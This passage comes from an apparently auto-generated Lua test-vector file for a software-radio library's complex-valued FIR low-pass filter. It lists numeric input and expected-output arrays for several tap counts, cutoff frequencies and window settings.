outputs = {radio.types.ComplexFloat32.vector_from_array({{0.00020748, -0.00019715}, {0.00006260, -0.00006273}, {-0.00037080, 0.00038015}, {-0.00015601, -0.00006204}, {0.00055301, -0.00031953}, {0.00022066, 0.00036744}, {-0.00096701, 0.00070404}, {-0.00038094, -0.00022860}, {0.00128505, -0.00119004}, {0.00037554, 0.00026710}, {-0.00145419, 0.00161409}, {-0.00043751, -0.00026333}, {0.00164758, -0.00177044}, {0.00096867, 0.00052160}, {-0.00169529, 0.00228845}, {-0.00093221, -0.00045160}, {0.00242160, -0.00257208}, {0.00140293, 0.00085262}, {-0.00299557, 0.00337735}, {-0.00193190, -0.00085518}, {0.00323318, -0.00409173}, {0.00219971, 0.00092494}, {-0.00382049, 0.00489235}, {-0.00298899, -0.00121223}, {0.00414213, -0.00591593}, {0.00343865, 0.00131461}, {-0.00506784, 0.00680168}, {-0.00430480, -0.00184663}, {0.00623095, -0.00800072}, {0.00519532, 0.00238203}, {-0.00722805, 0.00949041}, {-0.00607816, -0.00291847}, {0.00831679, -0.01121949}, {0.00726973, 0.00328698}, {-0.00960150, 0.01300442}, {-0.00859531, -0.00353148}, {0.01129434, -0.01497184}, {0.01012111, 0.00400231}, {-0.01314869, 0.01749312}, {-0.01184412, -0.00479189}, {0.01489704, -0.02050899}, {0.01353441, 0.00570680}, {-0.01732599, 0.02353822}, {-0.01592319, -0.00683585}, {0.02003145, -0.02716771}, {0.01848126, 0.00812133}, {-0.02359641, 0.03151349}, {-0.02196529, -0.00964986}, {0.02705687, -0.03671340}, {0.02539928, 0.01111562}, {-0.03164162, 0.04268033}, {-0.02951765, -0.01285696}, {0.03775168, -0.05013287}, {0.03487055, 0.01496128}, {-0.04591458, 0.06000541}, {-0.04165443, -0.01734758}, {0.05779679, -0.07329272}, {0.05121142, 0.02001897}, {-0.07607108, 0.09319034}, {-0.06564470, -0.02234761}, {0.10990541, -0.12910606}, {0.09496080, 0.01760815}, {-0.20719571, 0.22691272}, {-0.33405331, 0.16944364}, {-0.01805562, -0.02314655}, {0.26516783, -0.00123069}, {0.06279077, 0.09909562}, {-0.22307950, -0.15133534}, {0.00166251, -0.61130178}, {0.43655515, -0.62296468}, {0.34469706, -0.06042768}, {-0.16102539, 0.37430844}, {-0.27816761, 0.17642073}, {0.10616219, -0.26534078}, {0.23295899, -0.36826786}, {-0.20738854, -0.20087676}, {-0.59570664, -0.17254312}, {-0.51689792, -0.31167901}, {-0.39704686, -0.36406192}, {-0.55381280, -0.33085197}, {-0.51580542, -0.39809364}, {0.07955854, -0.48499957}, {0.66055280, -0.32438365}, {0.54825652, 0.04680149}, {0.06302085, 0.26287997}, {0.01383791, 0.14673318}, {0.45304072, -0.03445627}, {0.71197629, 0.05565181}, {0.47983825, 0.36616710}, {0.12544177, 0.52256274}, {-0.02204615, 0.29554322}, {-0.07555710, -0.11437888}, {-0.18253419, -0.30803961}, {-0.22126879, -0.13947499}, {-0.08093549, 0.16654584}, {0.08405643, 0.31482098}, {0.06733125, 0.21019177}, {-0.09865958, -0.05614599}, {-0.20600206, -0.30541158}, {-0.14395481, -0.33106816}, {-0.00552385, -0.07621247}, {0.07765999, 0.20621829}, {0.13853249, 0.21390384}, {0.30397379, 0.04666393}, {0.50642926, 0.07470141}, {0.46097150, 0.29739156}, {0.09933855, 0.28202054}, {-0.16082974, -0.09321592}, {0.10577977, -0.33749902}, {0.69205052, -0.09028980}, {0.96214920, 0.30522150}, {0.66028011, 0.36783949}, {0.14150453, 0.18164133}, {-0.19985740, 0.07590440}, {-0.31097764, 0.01613523}, {-0.24456485, -0.15376578}, {-0.01527224, -0.23968036}, {0.16178711, -0.06178585}, {-0.04316019, 0.05700949}, {-0.50270462, -0.17191741}, {-0.59042603, -0.30397388}, {-0.04730475, 0.20489025}, {0.51013607, 0.89421123}, {0.39015174, 0.75655282}, {-0.18418086, -0.22521022}, {-0.43588585, -0.94051105}, {-0.19685629, -0.72893173}, {-0.07574841, -0.20626335}, {-0.42667288, -0.15673269}, {-0.77294022, -0.40956643}, {-0.56784505, -0.37962458}, {-0.07668089, -0.10474724}, {-0.00830612, -0.05801649}, {-0.46636522, -0.27008158}, {-0.80107176, -0.30566922}, {-0.55091548, -0.02355129}, {-0.07523457, 0.19356412}, {-0.01359218, 0.04785896}, {-0.41956329, -0.22669412}, {-0.77217585, -0.19737440}, {-0.69439811, 0.18390350}, {-0.32055381, 0.52706194}, {0.00920700, 0.52202851}, {0.10955225, 0.32384533}, {-0.03506111, 0.25830153}, {-0.32338023, 0.28966492}, {-0.51174760, 0.13416180}, {-0.38217413, -0.09497051}, {-0.04972213, 0.11362380}, {0.11036910, 0.76227748}, {-0.04129393, 1.01132751}, {-0.19647357, 0.29339510}, {-0.04103415, -0.70164394}, {0.30702186, -0.87535280}, {0.51901996, -0.22630523}, {0.52858317, 0.31004316}, {0.49624589, 0.30123964}, {0.42295250, 0.16209342}, {0.15220821, 0.13776754}, {-0.26698765, -0.02705009}, {-0.54808235, -0.27782062}, {-0.55801404, -0.13729438}, {-0.45029822, 0.31884432}, {-0.31856653, 0.35019881}, {-0.05586254, -0.20426549}, {0.27946520, -0.52621084}, {0.34979829, -0.15287052}, {0.10012370, 0.24744971}, {0.05542754, 0.07933784}, {0.55134457, -0.13389598}, {0.97160804, 0.25442630}, {0.49652800, 0.77444220}, {-0.50711268, 0.58574468}, {-0.76865196, -0.11569240}, {0.04697371, -0.46722457}, {0.78592604, -0.31251767}, {0.57148778, -0.18571392}, {0.10044128, -0.20009713}, {0.32132939, 0.01392008}, {0.73301494, 0.36509869}, {0.25594047, 0.30800903}, {-0.78740567, -0.11350735}, {-1.03476286, -0.16522181}, {-0.23454393, 0.37348041}, {0.42482468, 0.71703446}, {0.23892666, 0.21786346}, {-0.13757424, -0.60408700}, {-0.04943119, -0.74853718}, {0.21384136, -0.11793703}, {0.28770658, 0.38518897}, {0.37770063, 0.11223425}, {0.50514811, -0.49505544}, {0.21409123, -0.59024423}, {-0.41582221, -0.13060173}, {-0.56382632, 0.10704198}, {-0.06986651, -0.25265831}, {0.09539879, -0.54828131}, {-0.52207619, -0.08404826}, {-0.93506277, 0.72134966}, {-0.35924661, 0.88884825}, {0.35792267, 0.32243857}, {0.09980767, -0.15198442}, {-0.67884755, -0.14953630}, {-0.75883096, -0.17611922}, {-0.09297948, -0.51917732}, {0.37108132, -0.66530156}, {0.31710407, -0.28021461}, {0.25739893, 0.10136559}, {0.40563720, -0.01287420}, {0.47912782, -0.21631075}, {0.41802743, 0.02802894}, {0.35025424, 0.38387737}, {0.09055575, 0.21245299}, {-0.44794071, -0.31104144}, {-0.66766524, -0.48773912}, {-0.05907202, -0.20481998}, {0.75571764, 0.03102626}, {0.75922024, -0.01227264}, {0.07158519, -0.07736701}, {-0.27555233, -0.00319108}, {0.04543807, 0.08649303}, {0.31480816, 0.10066317}, {0.05269034, -0.00048814}, {-0.34390044, -0.35304204}, {-0.42431304, -0.87564796}, {-0.32300559, -1.01181662}, {-0.33127019, -0.36281267}, {-0.44024822, 0.56360233}, {-0.49439865, 0.82591563}, {-0.35952982, 0.22901815}, {0.08011437, -0.47821870}, {0.67423034, -0.57783335}, {0.89181525, -0.11982499}, {0.45988429, 0.31413034}, {-0.05469853, 0.23654984}, {0.08640788, -0.34023723}, {0.67810887, -0.86952400}, {0.84596008, -0.72678220}, {0.39643928, 0.06851963}, {0.08325640, 0.74893528}, {0.36432222, 0.65727174}, {0.68643582, -0.00353699}, {0.41706997, -0.52661043}, {-0.12883897, -0.54429811}, {-0.17792046, -0.22301450}, {0.32969087, 0.11762285}, {0.67688167, 0.23825856}, {0.41868067, 0.03948399}, {-0.05237020, -0.31504130}, {-0.16371851, -0.52124465}, {0.02822751, -0.54908496}, {0.05143233, -0.63963461}, {-0.18039219, -0.77741140}, {-0.27635026, -0.63174844}, {-0.08861043, -0.22434105}, {0.01483922, -0.07877978}})}
},
{
desc = "128 taps, 0.7 cutoff, 256 ComplexFloat32 input, 256 ComplexFloat32 output",
args = {128, 0.7},
inputs = {radio.types.ComplexFloat32.vector_from_array({{-0.73127151, 0.69486749}, {0.52754927, -0.48986191}, {-0.00912983, -0.10101787}, {0.30318594, 0.57744670}, {-0.81228077, -0.94330502}, {0.67153019, -0.13446586}, {0.52456015, -0.99578792}, {-0.10922561, 0.44308007}, {-0.54247558, 0.89054137}, {0.80285490, -0.93882000}, {-0.94910830, 0.08282494}, {0.87829834, -0.23759152}, {-0.56680119, -0.15576684}, {-0.94191837, -0.55661666}, {-0.12422481, -0.00837552}, {-0.53383112, -0.53826690}, {-0.56243795, -0.08079307}, {-0.42043677, -0.95702058}, {0.67515594, 0.11290865}, {0.28458872, -0.62818748}, {0.98508680, 0.71989304}, {-0.75822008, -0.33460963}, {0.44296879, 0.42238355}, {0.87288117, -0.15578599}, {0.66007137, 0.34061113}, {-0.39326301, 0.17516121}, {0.76495802, 0.69239485}, {0.01056764, 0.17800452}, {-0.93094832, -0.51452005}, {0.59480852, -0.17137200}, {-0.65398520, 0.09759752}, {0.40608153, 0.34897169}, {-0.25059396, -0.12207674}, {0.01685298, 0.55688524}, {0.04187684, -0.21348982}, {-0.02061296, -0.94085008}, {-0.91302544, 0.40676415}, {0.96637541, 0.18636747}, {-0.21280062, -0.65930158}, {0.00447712, 0.96415329}, {0.54104626, 0.07923490}, {0.72057962, -0.53564775}, {0.02754333, 0.90493482}, {0.15558961, -0.08173654}, {-0.46144104, 0.09599262}, {0.91423255, -0.98858166}, {0.56731045, 0.64097184}, {0.77235913, 0.48100683}, {0.61827981, 0.03735657}, {0.12271573, -0.14781864}, {-0.88775343, 0.74002033}, {0.13999867, -0.60032117}, {0.00944094, -0.03014978}, {-0.28642008, -0.30784416}, {0.07695759, 0.24697889}, {0.22490492, -0.08370640}, {-0.94405001, -0.54078996}, {-0.64557749, 0.16892174}, {0.72201771, 0.59687787}, {0.59419513, 0.63287473}, {-0.48941192, 0.68348968}, {0.34622705, -0.83353174}, {-0.96661872, -0.97087997}, {0.51117355, -0.50088155}, {-0.78102273, 0.24960417}, {-0.31115428, -0.86096931}, {-0.68074894, 0.05476080}, {-0.66371012, -0.45417112}, {0.42317989, -0.09059674}, {-0.35599643, -0.05245798}, {-0.95273077, -0.22688580}, {-0.15816264, -0.62392139}, {-0.78247666, 0.79963702}, {0.02023196, -0.58181804}, {0.21129727, 0.63407934}, {-0.95836377, -0.96427095}, {-0.70707649, 0.43767095}, {-0.67954481, 0.40921125}, {0.35635161, 0.08940433}, {-0.55880052, 0.95118904}, {0.59562171, 0.03319904}, {-0.55360842, 0.29701284}, {-0.21020398, 0.15169193}, {-0.35750839, 0.26189572}, {-0.88242978, -0.40278813}, {0.93580663, 0.75106847}, {-0.38722676, 0.71702880}, {-0.37927276, 0.87857687}, {0.48768425, -0.16765547}, {-0.49528381, -0.98303950}, {0.75743574, -0.92416686}, {0.63882822, 0.92440224}, {0.14056113, -0.65696579}, {0.73556215, 0.94755048}, {0.40804628, 0.01774749}, {-0.24406233, -0.30613822}, {-0.58847648, 0.34830603}, {-0.13409975, -0.61176270}, {-0.79115158, 0.33191505}, {-0.40785465, -0.00040016}, {-0.34930867, 0.74324304}, {0.79935658, -0.96381402}, {-0.59829396, -0.34451860}, {0.97409946, 0.56540078}, {-0.32180870, -0.57394040}, {0.34891015, 0.67540216}, {0.86437494, -0.31230038}, {0.76478642, 0.37422037}, {-0.03100256, 0.97101647}, {-0.53071910, 0.45093039}, {-0.83063954, -0.66061169}, {0.82197559, -0.57406360}, {0.51823235, 0.20041765}, {0.68226439, -0.26378399}, {-0.31942952, -0.41756943}, {0.73483962, 0.20796506}, {0.90861493, 0.77453023}, {-0.72930807, 0.10234095}, {-0.79145002, -0.92172438}, {-0.85361314, 0.73233670}, {0.57623291, 0.65701193}, {-0.31820506, 0.23037209}, {0.56380719, -0.24392074}, {0.14156306, -0.55257183}, {-0.83651346, -0.46655273}, {0.78153634, 0.12889367}, {0.85013437, -0.08446148}, {-0.44563445, 0.57402933}, {0.65553629, -0.97523654}, {0.34082329, -0.81663376}, {-0.76979506, 0.77012014}, {-0.91995299, -0.52073330}, {0.97631699, -0.15797283}, {-0.76888371, -0.66523314}, {-0.51715940, 0.48801285}, {-0.79433179, 0.82152885}, {-0.24344546, 0.94052809}, {0.81844544, -0.41195285}, {-0.49317971, -0.04597981}, {-0.79974169, 0.30410039}, {-0.92075950, -0.97898769}, {0.96516722, -0.40890029}, {0.19314128, -0.10031093}, {-0.37343827, -0.87407041}, {0.82678401, 0.93962657}, {0.93959302, -0.77727538}, {-0.56961346, 0.23561376}, {0.95990574, 0.08582640}, {0.37637961, 0.32366887}, {-0.48182800, 0.08320452}, {-0.38535777, -0.50723761}, {-0.83726245, -0.43842655}, {0.96675342, -0.10419552}, {0.30402106, 0.28693217}, {0.88146901, -0.21904290}, {-0.38643140, -0.34551716}, {-0.36652973, 0.69426954}, {0.78700048, -0.39438137}, {-0.33133319, 0.08845083}, {0.15797088, 0.19192508}, {-0.50980401, -0.95925194}, {-0.51248139, -0.85534495}, {0.10240951, -0.85816729}, {-0.84974039, 0.27076420}, {-0.41835687, 0.58436954}, {-0.01347791, 0.72529793}, {-0.69164079, 0.00285917}, {0.58996701, -0.84578598}, {0.89845592, -0.65351576}, {0.55241799, 0.96979177}, {0.64310026, -0.36043200}, {-0.78624445, 0.02871650}, {0.83871394, -0.41302100}, {0.78751761, -0.71663874}, {0.82096338, -0.93648010}, {-0.36786264, 0.80617654}, {0.60771257, 0.81430751}, {0.68143702, 0.49236977}, {0.37919036, -0.64369029}, {-0.13472399, -0.68420619}, {0.42964891, 0.33555749}, {-0.49482721, -0.87117159}, {0.92677176, 0.61650527}, {0.09853987, 0.08275530}, {0.70258534, -0.09338064}, {-0.20857909, -0.32266170}, {-0.48406181, -0.95118302}, {0.29287767, -0.16663224}, {0.14120726, -0.87535673}, {-0.29011312, -0.72343177}, {-0.74974197, -0.48177409}, {0.65786874, -0.20440537}, {-0.19783570, 0.22488984}, {-0.53294069, -0.98504567}, {0.05740348, 0.00179924}, {0.29767919, -0.12336609}, {0.37302625, 0.46284387}, {-0.52325064, -0.00985550}, {-0.04234622, -0.54987586}, {-0.17550774, 0.12081487}, {0.81387901, 0.83541310}, {-0.44954929, 0.29283035}, {-0.90360534, -0.85689718}, {0.02338342, 0.75484818}, {-0.68106455, 0.53205574}, {0.76601923, -0.37639597}, {0.38511392, 0.69798225}, {-0.25677133, 0.40256533}, {0.47283623, 0.18915559}, {0.71255422, 0.79320872}, {0.92015761, 0.14246538}, {-0.64744818, -0.49880919}, {-0.56476265, 0.13903470}, {0.51550025, -0.89573354}, {0.36327291, 0.43430653}, {-0.30403697, 0.03011161}, {-0.67040372, 0.45979229}, {-0.91858262, 0.96244210}, {0.61588746, 0.25689700}, {-0.46494752, 0.82572573}, {0.91887766, -0.72174770}, {0.55151451, 0.68386173}, {0.31943470, 0.40081555}, {-0.10988253, 0.84861559}, {0.94241506, -0.23529337}, {0.60542303, -0.13415682}, {-0.67049158, -0.34906545}, {-0.74733984, 0.81776953}, {0.91884816, -0.76162654}, {0.20135815, -0.18355180}, {-0.76381993, -0.40904897}, {-0.50356728, 0.49915361}, {-0.99198210, -0.62032259}, {-0.12245386, -0.95793062}, {0.25505316, 0.21125507}, {0.67066473, -0.58678836}, {-0.43043676, 0.08467886}, {-0.45354861, 0.17147619}, {-0.49823555, 0.36705431}, {0.58218145, 0.61730921}, {0.94723225, 0.09075401}, {-0.01838144, 0.71139538}, {0.53813475, 0.14108926}, {-0.23348723, -0.43190512}, {-0.78372163, 0.61509818}, {-0.76385695, 0.49453047}, {0.09057418, 0.92989063}, {0.52213132, 0.94703954}, {-0.72681195, 0.00074295}, {0.14515658, -0.37749708}, {0.00606498, -0.28636247}, {0.05678794, -0.99831057}, {-0.11537134, -0.10089571}, {-0.39040163, -0.20119449}, {0.56617463, 0.36682576}, {-0.01540173, 0.29533648}})},
outputs = {radio.types.ComplexFloat32.vector_from_array({{-0.00028954, 0.00027513}, {0.00042096, -0.00039548}, {-0.00010793, 0.00005582}, {-0.00020391, 0.00056751}, {0.00011138, -0.00102410}, {0.00019549, 0.00040490}, {-0.00005256, 0.00021356}, {-0.00004995, -0.00076239}, {-0.00012016, 0.00114475}, {0.00038280, -0.00070572}, {-0.00053151, -0.00062460}, {0.00039988, 0.00150758}, {0.00001217, -0.00123777}, {-0.00091161, -0.00050939}, {0.00085675, 0.00201287}, {-0.00028262, -0.00218841}, {-0.00095480, 0.00024140}, {0.00124222, 0.00191804}, {-0.00028494, -0.00293060}, {-0.00086918, 0.00122466}, {0.00196523, 0.00212344}, {-0.00160011, -0.00423191}, {-0.00028875, 0.00306592}, {0.00274761, 0.00110057}, {-0.00273383, -0.00496690}, {0.00020819, 0.00524594}, {0.00327674, -0.00055210}, {-0.00436491, -0.00527545}, {0.00137133, 0.00728474}, {0.00351900, -0.00333056}, {-0.00639468, -0.00430084}, {0.00412252, 0.00958054}, {0.00230283, -0.00718486}, {-0.00794804, -0.00181633}, {0.00749702, 0.01070507}, {-0.00014631, -0.01190038}, {-0.00910318, 0.00263646}, {0.01200478, 0.01058177}, {-0.00444983, -0.01664296}, {-0.00850180, 0.00906797}, {0.01624168, 0.00796192}, {-0.01023896, -0.02068718}, {-0.00586291, 0.01718187}, {0.01947381, 0.00231954}, {-0.01796018, -0.02273297}, {0.00028681, 0.02566052}, {0.02092108, -0.00604552}, {-0.02624575, -0.02186624}, {0.00921570, 0.03488078}, {0.01891274, -0.01867389}, {-0.03464727, -0.01703285}, {0.02149765, 0.04356461}, {0.01283907, -0.03521212}, {-0.04055333, -0.00749297}, {0.03559086, 0.05206280}, {0.00200263, -0.05724207}, {-0.04241075, 0.00851340}, {0.04811334, 0.06129293}, {-0.01040522, -0.08998397}, {-0.03751870, 0.03521428}, {0.04610607, 0.08224553}, {0.00068794, -0.16812068}, {-0.03453058, 0.09093805}, {-0.26919791, 0.40904400}, {-0.33462700, 0.01415588}, {0.40880859, -0.21146783}, {0.35450101, 0.09205885}, {-0.61720961, 0.03366363}, {-0.00861362, -0.58241546}, {0.85256279, -0.85667247}, {0.01120429, -0.06271479}, {-0.27877894, 0.68312180}, {0.13769622, 0.05632249}, {-0.15432070, -0.56469321}, {0.08166904, -0.10409729}, {0.16268638, -0.03198444}, {-0.78057128, -0.48154733}, {-0.66734099, -0.31784937}, {-0.14663652, -0.13578045}, {-0.64771247, -0.40166253}, {-0.54620844, -0.50183362}, {0.12929761, -0.44365489}, {0.52099842, -0.28977072}, {0.77737802, 0.08277681}, {0.04844549, 0.22041002}, {-0.37321314, 0.05301286}, {0.82120311, 0.06576637}, {0.90943313, 0.16398561}, {-0.07998164, 0.18351214}, {0.28967640, 0.46109968}, {0.39669228, 0.55492002}, {-0.43290529, -0.18731052}, {-0.33127713, -0.56714112}, {0.06007137, 0.12329724}, {-0.03800176, 0.26200476}, {-0.07038718, -0.05658752}, {-0.05317133, 0.41698974}, {0.09844241, 0.18974979}, {-0.05456021, -0.76599902}, {-0.49080342, -0.22106506}, {-0.00075334, 0.37534279}, {0.45289522, -0.27903625}, {-0.07935907, 0.07052755}, {0.09192313, 0.66881222}, {0.78374898, -0.18738571}, {0.49283412, -0.15088524}, {-0.08562976, 0.78133345}, {-0.16057187, 0.03917273}, {0.23868787, -0.81637937}, {0.73548466, 0.00672084}, {0.73832029, 0.63320196}, {0.69388843, 0.20535012}, {0.45317262, -0.03468972}, {-0.47216406, 0.23461998}, {-0.50618297, 0.19515882}, {0.22992946, -0.34977210}, {-0.13738714, -0.36814365}, {-0.26718119, 0.19916059}, {0.37641850, 0.05708156}, {-0.35462558, -0.42569730}, {-1.08078468, -0.14996909}, {0.11553512, 0.33495989}, {0.84262103, 0.67117059}, {0.06860210, 0.79935020}, {-0.27744141, -0.06616499}, {-0.13812734, -1.09670782}, {-0.28720456, -0.74783230}, {-0.23540115, -0.05104088}, {-0.26492348, -0.25889760}, {-0.78225249, -0.47019958}, {-0.67499924, -0.23709220}, {0.05528610, -0.16668820}, {-0.04927687, -0.14200361}, {-0.59937298, -0.12720330}, {-0.60721481, -0.35193712}, {-0.54721802, -0.14766805}, {-0.30821577, 0.37073100}, {0.14231338, 0.04186606}, {-0.28260356, -0.43369085}, {-0.98690921, -0.02721927}, {-0.70801061, 0.27776653}, {-0.15698214, 0.29075268}, {-0.01047641, 0.59372437}, {-0.00993272, 0.46831098}, {-0.04284252, 0.11881912}, {-0.16182317, 0.28775826}, {-0.54146403, 0.18618874}, {-0.58552712, -0.12536369}, {0.11276368, 0.17656921}, {0.22313276, 0.67959988}, {-0.28127706, 0.97240579}, {-0.10955093, 0.47552434}, {0.07594253, -0.83006698}, {0.12265074, -0.97255379}, {0.65060490, 0.01344237}, {0.55486888, 0.17831439}, {0.25169247, 0.18047525}, {0.69131041, 0.43216634}, {0.21465296, -0.01466098}, {-0.67495936, -0.17447506}, {-0.28242645, 0.03609759}, {-0.31590867, -0.27174965}, {-0.88767737, 0.12081672}, {-0.24862762, 0.64410686}, {0.26764679, -0.28242758}, {0.03282610, -0.69704443}, {0.27046010, 0.08118674}, {0.28374144, 0.13373010}, {-0.00120399, -0.03509615}, {0.53007907, 0.16306841}, {0.98877668, 0.07802521}, {0.43469423, 0.54267067}, {-0.42212105, 0.99357778}, {-0.73588502, -0.12586205}, {-0.09033803, -0.91521245}, {0.81856203, -0.06358610}, {0.71775901, 0.14514840}, {0.00065877, -0.56627893}, {0.18417574, -0.16500273}, {0.93473613, 0.73889530}, {0.31012610, 0.39062038}, {-1.09930873, -0.46771872}, {-0.86135089, -0.20795049}, {0.04483905, 0.74491620}, {-0.03744527, 0.70869499}, {0.25593203, -0.20098910}, {0.43511182, -0.47611323}, {-0.51753837, -0.33267942}, {-0.10951866, -0.41375580}, {1.04870832, 0.09795445}, {0.19427657, 0.51067740}, {-0.14561124, -0.43109250}, {0.80932444, -0.92423469}, {-0.21175845, -0.02819206}, {-1.17903709, 0.24650475}, {0.15596302, -0.33563149}, {0.35937405, -0.54223710}, {-0.83200765, -0.15911891}, {-0.79475856, 0.76155293}, {-0.34543800, 1.05975437}, {0.10393339, 0.10590871}, {0.49168977, -0.21715023}, {-0.69076699, 0.15447323}, {-1.32576060, -0.33104289}, {0.35168067, -0.69724590}, {0.74085855, -0.39674157}, {-0.40171066, -0.32732135}, {0.30929208, -0.06758104}, {1.05340230, 0.14240210}, {0.08020713, -0.21954226}, {0.10177091, -0.04655852}, {0.80905169, 0.42930493}, {0.07124262, 0.17793985}, {-0.71073014, -0.24481924}, {-0.52239925, -0.49648970}, {-0.03705297, -0.35622391}, {0.69503385, 0.21845737}, {0.83500433, 0.03694670}, {0.00709519, -0.37203655}, {-0.30921119, 0.18456545}, {0.13169971, 0.26309630}, {0.30782694, -0.23481238}, {0.02437349, 0.09558284}, {-0.39044246, -0.11356156}, {-0.40222040, -1.16988027}, {-0.18903905, -0.97260100}, {-0.44605350, -0.10218922}, {-0.57093984, 0.27487063}, {-0.28690609, 0.79703552}, {-0.32891530, 0.58109039}, {-0.10092336, -0.71394306}, {0.70629394, -0.80632001}, {0.96283764, 0.26630390}, {0.50607270, 0.34756452}, {-0.09859367, -0.16169763}, {-0.10499000, -0.21783389}, {0.86687535, -0.52836788}, {1.05898559, -0.94152868}, {0.00373802, -0.20467331}, {0.04252236, 1.03016806}, {0.81348717, 0.85473931}, {0.50324833, -0.33984882}, {0.10937322, -0.61433601}, {0.12565324, -0.20165107}, {-0.04052134, -0.26082805}, {0.17363925, -0.14346735}, {0.55028397, 0.34446603}, {0.49130583, 0.17306094}, {0.19711176, -0.37627137}, {-0.33561760, -0.58457816}, {-0.27353439, -0.58746135}, {0.44134572, -0.52949715}, {-0.04475213, -0.70798105}, {-0.77328837, -0.82563168}, {0.06329698, -0.20611195}, {0.37686723, 0.09563762}})}
},
{
desc = "128 taps, 0.2 cutoff, 3.0 nyquist, bartlett window, 256 ComplexFloat32 input, 256 ComplexFloat32 output",
args = {128, 0.2, 3.0, "bartlett"},
inputs = {radio.types.ComplexFloat32.vector_from_array({{-0.73127151, 0.69486749}, {0.52754927, -0.48986191}, {-0.00912983, -0.10101787}, {0.30318594, 0.57744670}, {-0.81228077, -0.94330502}, {0.67153019, -0.13446586}, {0.52456015, -0.99578792}, {-0.10922561, 0.44308007}, {-0.54247558, 0.89054137}, {0.80285490, -0.93882000}, {-0.94910830, 0.08282494}, {0.87829834, -0.23759152}, {-0.56680119, -0.15576684}, {-0.94191837, -0.55661666}, {-0.12422481, -0.00837552}, {-0.53383112, -0.53826690}, {-0.56243795, -0.08079307}, {-0.42043677, -0.95702058}, {0.67515594, 0.11290865}, {0.28458872, -0.62818748}, {0.98508680, 0.71989304}, {-0.75822008, -0.33460963}, {0.44296879, 0.42238355}, {0.87288117, -0.15578599}, {0.66007137, 0.34061113}, {-0.39326301, 0.17516121}, {0.76495802, 0.69239485}, {0.01056764, 0.17800452}, {-0.93094832, -0.51452005}, {0.59480852, -0.17137200}, {-0.65398520, 0.09759752}, {0.40608153, 0.34897169}, {-0.25059396, -0.12207674}, {0.01685298, 0.55688524}, {0.04187684, -0.21348982}, {-0.02061296, -0.94085008}, {-0.91302544, 0.40676415}, {0.96637541, 0.18636747}, {-0.21280062, -0.65930158}, {0.00447712, 0.96415329}, {0.54104626, 0.07923490}, {0.72057962, -0.53564775}, {0.02754333, 0.90493482}, {0.15558961, -0.08173654}, {-0.46144104, 0.09599262}, {0.91423255, -0.98858166}, {0.56731045, 0.64097184}, {0.77235913, 0.48100683}, {0.61827981, 0.03735657}, {0.12271573, -0.14781864}, {-0.88775343, 0.74002033}, {0.13999867, -0.60032117}, {0.00944094, -0.03014978}, {-0.28642008, -0.30784416}, {0.07695759, 0.24697889}, {0.22490492, -0.08370640}, {-0.94405001, -0.54078996}, {-0.64557749, 0.16892174}, {0.72201771, 0.59687787}, {0.59419513, 0.63287473}, {-0.48941192, 0.68348968}, {0.34622705, -0.83353174}, {-0.96661872, -0.97087997}, {0.51117355, -0.50088155}, {-0.78102273, 0.24960417}, {-0.31115428, -0.86096931}, {-0.68074894, 0.05476080}, {-0.66371012, -0.45417112}, {0.42317989, -0.09059674}, {-0.35599643, -0.05245798}, {-0.95273077, -0.22688580}, {-0.15816264, -0.62392139}, {-0.78247666, 0.79963702}, {0.02023196, -0.58181804}, {0.21129727, 0.63407934}, {-0.95836377, -0.96427095}, {-0.70707649, 0.43767095}, {-0.67954481, 0.40921125}, {0.35635161, 0.08940433}, {-0.55880052, 0.95118904}, {0.59562171, 0.03319904}, {-0.55360842, 0.29701284}, {-0.21020398, 0.15169193}, {-0.35750839, 0.26189572}, {-0.88242978, -0.40278813}, {0.93580663, 0.75106847}, {-0.38722676, 0.71702880}, {-0.37927276, 0.87857687}, {0.48768425, -0.16765547}, {-0.49528381, -0.98303950}, {0.75743574, -0.92416686}, {0.63882822, 0.92440224}, {0.14056113, -0.65696579}, {0.73556215, 0.94755048}, {0.40804628, 0.01774749}, {-0.24406233, -0.30613822}, {-0.58847648, 0.34830603}, {-0.13409975, -0.61176270}, {-0.79115158, 0.33191505}, {-0.40785465, -0.00040016}, {-0.34930867, 0.74324304}, {0.79935658, -0.96381402}, {-0.59829396, -0.34451860}, {0.97409946, 0.56540078}, {-0.32180870, -0.57394040}, {0.34891015, 0.67540216}, {0.86437494, -0.31230038}, {0.76478642, 0.37422037}, {-0.03100256, 0.97101647}, {-0.53071910, 0.45093039}, {-0.83063954, -0.66061169}, {0.82197559, -0.57406360}, {0.51823235, 0.20041765}, {0.68226439, -0.26378399}, {-0.31942952, -0.41756943}, {0.73483962, 0.20796506}, {0.90861493, 0.77453023}, {-0.72930807, 0.10234095}, {-0.79145002, -0.92172438}, {-0.85361314, 0.73233670}, {0.57623291, 0.65701193}, {-0.31820506, 0.23037209}, {0.56380719, -0.24392074}, {0.14156306, -0.55257183}, {-0.83651346, -0.46655273}, {0.78153634, 0.12889367}, {0.85013437, -0.08446148}, {-0.44563445, 0.57402933}, {0.65553629, -0.97523654}, {0.34082329, -0.81663376}, {-0.76979506, 0.77012014}, {-0.91995299, -0.52073330}, {0.97631699, -0.15797283}, {-0.76888371, -0.66523314}, {-0.51715940, 0.48801285}, {-0.79433179, 0.82152885}, {-0.24344546, 0.94052809}, {0.81844544, -0.41195285}, {-0.49317971, -0.04597981}, {-0.79974169, 0.30410039}, {-0.92075950, -0.97898769}, {0.96516722, -0.40890029}, {0.19314128, -0.10031093}, {-0.37343827, -0.87407041}, {0.82678401, 0.93962657}, {0.93959302, -0.77727538}, {-0.56961346, 0.23561376}, {0.95990574, 0.08582640}, {0.37637961, 0.32366887}, {-0.48182800, 0.08320452}, {-0.38535777, -0.50723761}, {-0.83726245, -0.43842655}, {0.96675342, -0.10419552}, {0.30402106, 0.28693217}, {0.88146901, -0.21904290}, {-0.38643140, -0.34551716}, {-0.36652973, 0.69426954}, {0.78700048, -0.39438137}, {-0.33133319, 0.08845083}, {0.15797088, 0.19192508}, {-0.50980401, -0.95925194}, {-0.51248139, -0.85534495}, {0.10240951, -0.85816729}, {-0.84974039, 0.27076420}, {-0.41835687, 0.58436954}, {-0.01347791, 0.72529793}, {-0.69164079, 0.00285917}, {0.58996701, -0.84578598}, {0.89845592, -0.65351576}, {0.55241799, 0.96979177}, {0.64310026, -0.36043200}, {-0.78624445, 0.02871650}, {0.83871394, -0.41302100}, {0.78751761, -0.71663874}, {0.82096338, -0.93648010}, {-0.36786264, 0.80617654}, {0.60771257, 0.81430751}, {0.68143702, 0.49236977}, {0.37919036, -0.64369029}, {-0.13472399, -0.68420619}, {0.42964891, 0.33555749}, {-0.49482721, -0.87117159}, {0.92677176, 